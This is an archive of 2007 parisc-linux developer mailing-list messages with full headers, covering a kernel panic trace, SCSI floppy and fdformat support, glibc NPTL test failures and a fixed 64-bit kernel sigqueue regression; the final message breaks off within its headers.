[4294667.296000]  [<10113e70>] pdc_console_write+0x20/0x38
[4294667.296000]  [<101076d8>] disable_sr_hashing+0x4c/0xa4
[4294667.296000]  [<1010f604>] real32_call+0x110/0x11c
[4294667.296000]  [<101a30b4>] seq_lseek+0x0/0x2f8
[4294667.296000]  [<103a9558>] xfrm6_beet_output+0x0/0x100
[4294667.296000]  [<103a5f64>] ip6_fl_gc+0x0/0x1a8
[4294667.296000]  [<101382e0>] proc_dointvec_jiffies+0x0/0x38
[4294667.296000]  [<103a249c>] ipv6_nodata_rcv+0x0/0x20
[4294667.296000]  [<103a1424>] tcp_v6_rcv+0x0/0xab4
[4294667.296000]
[4294667.296000] Kernel panic - not syncing: Attempted to kill the idle task!
[4294667.296000]       


The chassis code when I try to boot now :

FLT    301A      REMOTE:  disabled   inactive   multiple      ACCESS FAULT: 00
CM> sl
                         ----- Front Panel displays -----

FLT  301A        INIT C30C        TEST 8120        INIT 10CA        INIT 10CA
INIT 1033        TEST 1033        INIT 10CA        INIT 10CA        INIT C30C
TEST 400E        INIT 103C        TEST 4060        TEST 4040        TEST 4030
TEST 4020        TEST 4010        TEST 4000        INIT 10CA        INIT C30C
TEST C2E0        TEST C265        TEST C264        TEST C262        TEST C261
TEST C260        TEST C240        TEST 000F        TEST 000E        TEST 000D
TEST 000C        TEST 000B        TEST 000A        TEST 0009        TEST 0008
TEST 0007        TEST 0006        TEST 0005        TEST 0004        TEST 0003
TEST 0002        INIT CD70        TEST CD70        INIT CD21        TEST CD21
INIT CD20        TEST CD20        TEST CD1A        TEST CD1B        TEST CD1C



-- 
Guy Martin
Gentoo Linux - HPPA port Lead
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Thu, 08 Feb 2007 15:08:55 -0500
Organization: Scientific Research Corporation
Lines: 79
Approved: news@gmane.org
Message-ID: <45CB8357.2050703__29868.5974245474$1416624274$gmane$org@scires.com>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------010700030702010309060200"
X-Trace: ger.gmane.org 1416624274 22606 80.91.229.3 (22 Nov 2014 02:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2007 20:09:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 08 Feb 2007 21:09:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94C6A7DA54;
	Thu,  8 Feb 2007 13:09:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06700-03; Thu, 8 Feb 2007 13:09:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DEE37DA6B;
	Thu,  8 Feb 2007 13:09:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 069AE7DA3C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 13:09:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06443-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Feb 2007 13:09:20 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id E36AF7DA2E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 13:09:18 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Thu, 08 Feb 2007 15:09:26 -0500
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
In-Reply-To: <20070208173808.GL13101@parisc-linux.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K8eBAvIFa2A75rvDOHQy5lsyOWhhaofN
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24279

This is a multi-part message in MIME format.
--------------010700030702010309060200
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 2/8/2007 12:38 PM, Matthew Wilcox wrote:
> Could you post the patch to sd.c here?  I, and others, can look it over,
> critique it, and help polish it before you submit it to the linux-scsi
> list.  Or if you're brave, you could send it straight to linux-scsi
> (there's about 3 of us who're on both lists, so you may well see feedback
> from a familiar name anyway).

Sure.  I'm working on this for a project that is running Sarge with the 2.6.8
kernel, so I'll need to migrate the changes over to the latest sd.c from the
parisc-2.6 tree, then clean it up a bit.  I'll post a patch as soon as its ready
for general consumption.

> Without looking at the source code to check, I suspect the fdformat code
> is trying ioctls that are implemented in floppy.c and we might want to
> emulate them in sd.c if the device is a floppy.

I haven't looked at the fdformat code either, but it aborts early due to the
scsi floppy device having the wrong major number.  I don't think it even gets to
any ioctls.  BTW, the mtools functions all appear to work.





















--------------010700030702010309060200
Content-Type: text/x-vcard; charset=utf-8;
 name="jlove.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="jlove.vcf"

begin:vcard
fn:James K. Love
n:Love;James K.
org:SPAWAR Systems Center Charleston, Code 523;Scientific Research Corporation, ISS Division
adr:Building 3452, WS-20;;One Innovation Drive;Hanahan;SC;29406;USA
email;internet:jlove@scires.com
title:Software Engineer
tel;work:843.218.6532
x-mozilla-html:FALSE
url:http://www.scires.com
version:2.1
end:vcard


--------------010700030702010309060200
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------010700030702010309060200--



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Floppy disk support for 9000 series (715, 755,
	etc.) workstations.
Date: Thu, 8 Feb 2007 13:11:48 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20070208201148.GP13101__32070.1528959491$1416624274$gmane$org@parisc-linux.org>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
	<45CB8357.2050703@scires.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624274 22608 80.91.229.3 (22 Nov 2014 02:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James K. Love" <jlove@scires.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2007 20:11:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 08 Feb 2007 21:11:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A4F2C7DAAC;
	Thu,  8 Feb 2007 13:11:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06700-09; Thu, 8 Feb 2007 13:11:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 717177DAA7;
	Thu,  8 Feb 2007 13:11:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D51447DA6D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 13:11:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06718-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Feb 2007 13:11:49 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 41AD37DA2E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 13:11:49 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id EB0A7494003; Thu,  8 Feb 2007 13:11:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <45CB8357.2050703@scires.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f/GidvcseWU35a2TZm9neR0rL0tsZs22
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24280

On Thu, Feb 08, 2007 at 03:08:55PM -0500, James K. Love wrote:
> I haven't looked at the fdformat code either, but it aborts early due to the
> scsi floppy device having the wrong major number.  I don't think it even 
> gets to
> any ioctls.  BTW, the mtools functions all appear to work.

Oh ... I guess we just need to fix fdformat then.  Thanks.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc nptl failure baseline update.
Date: Tue, 6 Feb 2007 05:23:29 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20070206122329.GA13101__6144.23097945309$1416624275$gmane$org@parisc-linux.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624275 22611 80.91.229.3 (22 Nov 2014 02:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:35 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Feb 2007 12:23:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 06 Feb 2007 13:23:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B223E7DA54;
	Tue,  6 Feb 2007 05:23:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15047-10; Tue, 6 Feb 2007 05:23:37 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6527B7DA57;
	Tue,  6 Feb 2007 05:23:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26B9B7DA53
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 05:23:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15080-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Feb 2007 05:23:30 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8E2467DA4D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 05:23:30 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 201EE494003; Tue,  6 Feb 2007 05:23:30 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z0v9cQF0Rkke1KuPfGRqGSFmdWkvKFPA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24281

On Mon, Feb 05, 2007 at 10:13:01PM -0500, Carlos O'Donell wrote:
> make[2]: *** [/libc-tls-nptl/io/tst-fstatat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-futimesat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-renameat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-fchmodat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-symlinkat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-linkat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-mkdirat.out] Error 1
> make[2]: *** [/libc-tls-nptl/io/tst-mkfifoat.out] Error 1

I guess we need to hook up the *at syscalls.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit kernel broken.
Date: Thu, 8 Feb 2007 19:43:14 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <20070209004314.GE18899__30614.8784970448$1416624275$gmane$org@athena.road.mcmartin.ca>
References: <119aab440702061420w2b5ab788g815313761f440bc9@mail.gmail.com>
	<20070209003302.GD18899@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624275 22614 80.91.229.3 (22 Nov 2014 02:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Feb 2007 00:43:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 09 Feb 2007 01:43:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05337DAA7;
	Thu,  8 Feb 2007 17:43:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08256-05; Thu, 8 Feb 2007 17:43:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1A1F7DAB0;
	Thu,  8 Feb 2007 17:43:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BA657DAA4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 17:43:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08256-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 8 Feb 2007 17:43:33 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 597DC7DA9E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  8 Feb 2007 17:43:33 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8AD94584094;
	Thu,  8 Feb 2007 19:43:30 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2822A584090;
	Thu,  8 Feb 2007 19:43:30 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C6276837DB;
	Thu,  8 Feb 2007 19:43:29 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 515183B06E; Thu,  8 Feb 2007 19:43:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070209003302.GD18899@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0Laidr8neWU35a2TZm9nGkgrL0tsZk3t
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24282

On Thu, Feb 08, 2007 at 07:33:02PM -0500, Kyle McMartin wrote:
> On Tue, Feb 06, 2007 at 05:20:18PM -0500, Carlos O'Donell wrote:
> > Run this test:
> > http://www.parisc-linux.org/~carlos/tst-sigqueue.c
> > 
> > On a 32-bit userspace, with a 64-bit 2.6.18 kernel and the test exits with 
> > 0.
> > 
> > carlos@firin:~$ ./tst-sigqueue
> > in f
> > pid = 1429
> > new thread: 1429
> > carlos@firin:~$ echo $?
> > 0
> > 
> > Run it with a 64-bit 2.6.20 kernel and you get an error.
> > 
> > carlos@firin:~$ ./tst-sigqueue
> > in f
> > pid = 31148
> > new thread: 31148
> > expected PID 31148, got si_pid 1000
> > carlos@firin:~$ echo $?
> > 1
> > 
> 
> Right. This got inadvertantly reverted with some other stuff. Fixed in a
> second.

Fixed in 1736b4bbf2bbfebaad06114d569f3617517524d1.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc nptl failure baseline update.
Date: Tue, 6 Feb 2007 22:42:46 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <20070206224246.3000a76c.gmsoft__30966.1500774839$1416624275$gmane$org@gentoo.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624275 22617 80.91.229.3 (22 Nov 2014 02:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:35 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Feb 2007 21:41:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 06 Feb 2007 22:41:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B82897D8C0;
	Tue,  6 Feb 2007 14:41:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19573-10; Tue, 6 Feb 2007 14:41:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8BD427D99B;
	Tue,  6 Feb 2007 14:41:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB26A7D8C0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 14:41:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19573-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Feb 2007 14:41:42 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id C17B17D81E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Feb 2007 14:41:41 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id A96F1EBCAC; Tue,  6 Feb 2007 22:41:40 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 803E72FD71; Tue,  6 Feb 2007 22:41:36 +0100 (CET)
Original-Received: from [2001:6f8:310:400:216:6fff:fe8b:a] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HEY3t-0005jo-Il; Tue, 06 Feb 2007 22:41:13 +0100
In-Reply-To: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
